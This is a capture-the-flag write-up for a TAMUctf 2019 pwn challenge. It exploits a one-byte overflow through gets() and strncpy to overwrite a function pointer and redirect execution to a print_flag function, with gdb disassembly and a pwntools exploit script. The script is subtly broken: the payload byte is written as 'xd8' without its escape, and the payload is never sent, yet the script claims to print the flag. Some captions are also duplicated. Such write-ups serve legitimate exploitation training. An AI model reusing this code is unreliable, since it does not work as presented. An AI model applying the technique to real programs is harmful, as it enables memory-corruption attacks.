TAMUctf 2019 Pwn Write-up 2 of 6

5 minute read

Part 2 of my TAMUctf pwn write-up series.

Shoutout to my teammates, hackstreetboys represent! — [hsb] ar33zy
Shoutout to my teammates, hackstreetboys represent! — [hsb] ar33zy

Pwn 2 Solution (Difficulty: Easy, 356 pts.)

This challenge tackles single-byte overflow leading to a program flow control.

Let’s try to run the binary.

Again, the first part of the program prompted a question, and asked for an input. Let’s try to enter a very long string and observe what happens.



We got a segmentation fault! :) Let’s do a static-dynamic analysis using gdb.

First, let’s check the properties of the binary.

Canary disabled. he he he :)

Canary disabled.

Again, stack canary is disabled. This means that there is no mitigation on overwriting the return address of the program. The next thing we need to do is to determine where the program crash happened.

Here is the disassembled main function:

Dump of assembler code for function main:  
   0x565557dc <+0>: lea    ecx,[esp+0x4]  
   0x565557e0 <+4>: and    esp,0xfffffff0  
   0x565557e3 <+7>: push   DWORD PTR [ecx-0x4]  
   0x565557e6 <+10>: push   ebp  
   0x565557e7 <+11>: mov    ebp,esp  
   0x565557e9 <+13>: push   ebx  
   0x565557ea <+14>: push   ecx  
   0x565557eb <+15>: sub    esp,0x20  
   0x565557ee <+18>: call   0x565555b0 <__x86.get_pc_thunk.bx>  
   0x565557f3 <+23>: add    ebx,0x17c5  
   0x565557f9 <+29>: mov    eax,DWORD PTR [ebx+0x3c]  
   0x565557ff <+35>: mov    eax,DWORD PTR [eax]  
   0x56555801 <+37>: push   0x0  
   0x56555803 <+39>: push   0x0  
   0x56555805 <+41>: push   0x2  
   0x56555807 <+43>: push   eax  
   0x56555808 <+44>: call   0x56555520 <[email protected]>  
   0x5655580d <+49>: add    esp,0x10  
   0x56555810 <+52>: sub    esp,0xc  
   0x56555813 <+55>: lea    eax,[ebx-0x1670]  
   0x56555819 <+61>: push   eax  
   0x5655581a <+62>: call   0x56555500 <[email protected]> ` (1)  
   0x5655581f <+67>: add    esp,0x10  
   0x56555822 <+70>: sub    esp,0xc  
   0x56555825 <+73>: lea    eax,[ebp-0x27] ` (4)  
   0x56555828 <+76>: push   eax  
   0x56555829 <+77>: call   0x565554e0 <[email protected]> ` (2)  
   0x5655582e <+82>: add    esp,0x10  
   0x56555831 <+85>: sub    esp,0xc  
   0x56555834 <+88>: lea    eax,[ebp-0x27] ` (5)  
   0x56555837 <+91>: push   eax  
   0x56555838 <+92>: call   0x5655577f <select_func> ` (3)  
   0x5655583d <+97>: add    esp,0x10  
   0x56555840 <+100>: mov    eax,0x0  
   0x56555845 <+105>: lea    esp,[ebp-0x8]  
   0x56555848 <+108>: pop    ecx  
   0x56555849 <+109>: pop    ebx  
   0x5655584a <+110>: pop    ebp  
   0x5655584b <+111>: lea    esp,[ecx-0x4]  
   0x5655584e <+114>: ret      
End of assembler dump.


(1) This puts prints the first question `“Which function would you like to call?”.`

(2) Gets function — The user input function, a very dangerous function (no input length checking, can lead to buffer overflow)

(3) This function processes the user input. We can see that the gets function writes to `$ebp-0x27` (see #4)`,` and the same address is used as argument for `select_func()` (see #5).

It looks like the program crash happened at select_func(), since it is the function that processes the user input. Let’s disassemble the function to have a better understanding.

Dump of assembler code for function select_func:  
   0x5655577f <+0>: push   ebp  
   0x56555780 <+1>: mov    ebp,esp  
   0x56555782 <+3>: push   ebx  
   0x56555783 <+4>: sub    esp,0x34  
   0x56555786 <+7>: call   0x565555b0 <__x86.get_pc_thunk.bx>  
   0x5655578b <+12>: add    ebx,0x182d  
   0x56555791 <+18>: lea    eax,[ebx-0x190b]  
   0x56555797 <+24>: mov    DWORD PTR [ebp-0xc],eax  
   0x5655579a <+27>: sub    esp,0x4  
   0x5655579d <+30>: push   0x1f  
   0x5655579f <+32>: push   DWORD PTR [ebp+0x8]  
   0x565557a2 <+35>: lea    eax,[ebp-0x2a]  
   0x565557a5 <+38>: push   eax  
   0x565557a6 <+39>: call   0x56555550 <[email protected]> ` (1)  
   0x565557ab <+44>: add    esp,0x10  
   0x565557ae <+47>: sub    esp,0x8  
   0x565557b1 <+50>: lea    eax,[ebx-0x1675]  
   0x565557b7 <+56>: push   eax  
   0x565557b8 <+57>: lea    eax,[ebp-0x2a]  
   0x565557bb <+60>: push   eax  
   0x565557bc <+61>: call   0x565554d0 <[email protected]>  
   0x565557c1 <+66>: add    esp,0x10  
   0x565557c4 <+69>: test   eax,eax  
   0x565557c6 <+71>: jne    0x565557d1 <select_func+82>  
   0x565557c8 <+73>: lea    eax,[ebx-0x1864]  
   0x565557ce <+79>: mov    DWORD PTR [ebp-0xc],eax  
   0x565557d1 <+82>: mov    eax,DWORD PTR [ebp-0xc] ` (3)  
   0x565557d4 <+85>: call   eax ` (2)   
   0x565557d6 <+87>: nop  
   0x565557d7 <+88>: mov    ebx,DWORD PTR [ebp-0x4]  
   0x565557da <+91>: leave    
   0x565557db <+92>: ret      
End of assembler dump.

Reviewing this disassembled function gives us the following details:

(1) Our input is at `$ebp+0x8`, and `0x1f` bytes are copied to `$ebp-0x2a,` with `strncpy` function.

   0x5655579d <+30>: push   0x1f  
   0x5655579f <+32>: push   DWORD PTR [ebp+0x8]  
   0x565557a2 <+35>: lea    eax,[ebp-0x2a]  
   0x565557a5 <+38>: push   eax  
   0x565557a6 <+39>: call   0x56555550 <[email protected]>

(2) This instruction below is very notable

0x565557d4 <+85>: call   eax

This instruction means that the value of `$eax` will be called. If we can control the value of this `$eax`, we can do anything we want on this program.
(3) The value of `$eax` on `call $eax` is from `$ebp-0xc`

   0x565557d1 <+82>: mov    eax,DWORD PTR [ebp-0xc]   
   0x565557d4 <+85>: call   eax 

With the following details, we know that if we write a very long string to $ebp-0x2a, we can overwrite the value of $ebp-0xc.

Let’s compute the distance of $ebp-0x2a to $ebp-0xc.

`0x2a - 0xc = 30 bytes`

Our payload structure will be like this:

`payload = <30 bytes buffer> + <4 bytes - address of the function we want to call>`

But there is a problem, remember the strncpy function above? It only copies 0x1f bytes or 31 bytes of data to $ebp-0x2a. We can only craft a 31-byte payload, and we can only control the last byte of $ebp-0xc.

Sample run without overflow:

Value of $eax is `0x56555600`

Value of $eax is 0x56555600

We can see the value of $eax is 0x56555600. Let’s try a 31-byte input.

Sample single-byte overflow:

Length of A’s is 31

Oohh, $eax is overwritten :)

$eax is overwritten.

What did we learn from this data?

- We can see that our idea is correct and with our 31-byte input, the last byte of $eax is overwritten. It is overwritten with `0x41`, which is A in ascii.
- We also learned that the program crash will happen when the new value of `$eax` is not a valid address

We can now control the value of $eax, but what now? What one byte value should we write in order to solve this problem?

I used radare2 to find the right address that I need to use.

Upon inspection, I saw another win function that will give us the flag.

print_flag function !!!

This print_flag function automatically prints the flag. We can jump to this function to solve the challenge.

Luckily, the address of the print_flag function and the address of the default value of $eax exactly differs by one byte.

0x565556d8 is the address of print_flag

0x565556d8 is the address of print_flag

`0x565556d8 `—address of the `print_flag` function

`0x56555600 `— default value of `$eax`

The missing piece of our payload is 0xd8.

We can now craft our payload to solve the problem:

payload = <30 byte buffer> + 0xd8

Sample exploit code:


from pwn import *

r = remote('pwn.tamuctf.com', 4322)

offset = 30  
payload = ""  
payload += "A"*offset  
payload += "xd8"

log.info("Flag: {}".format(r.recvline()))

Flag: gigem{4ll_17_74k35_15_0n3}


Thank you for reading. Hope you learned something from this write-up. Feel free to drop any comments on this one.

— ar33zy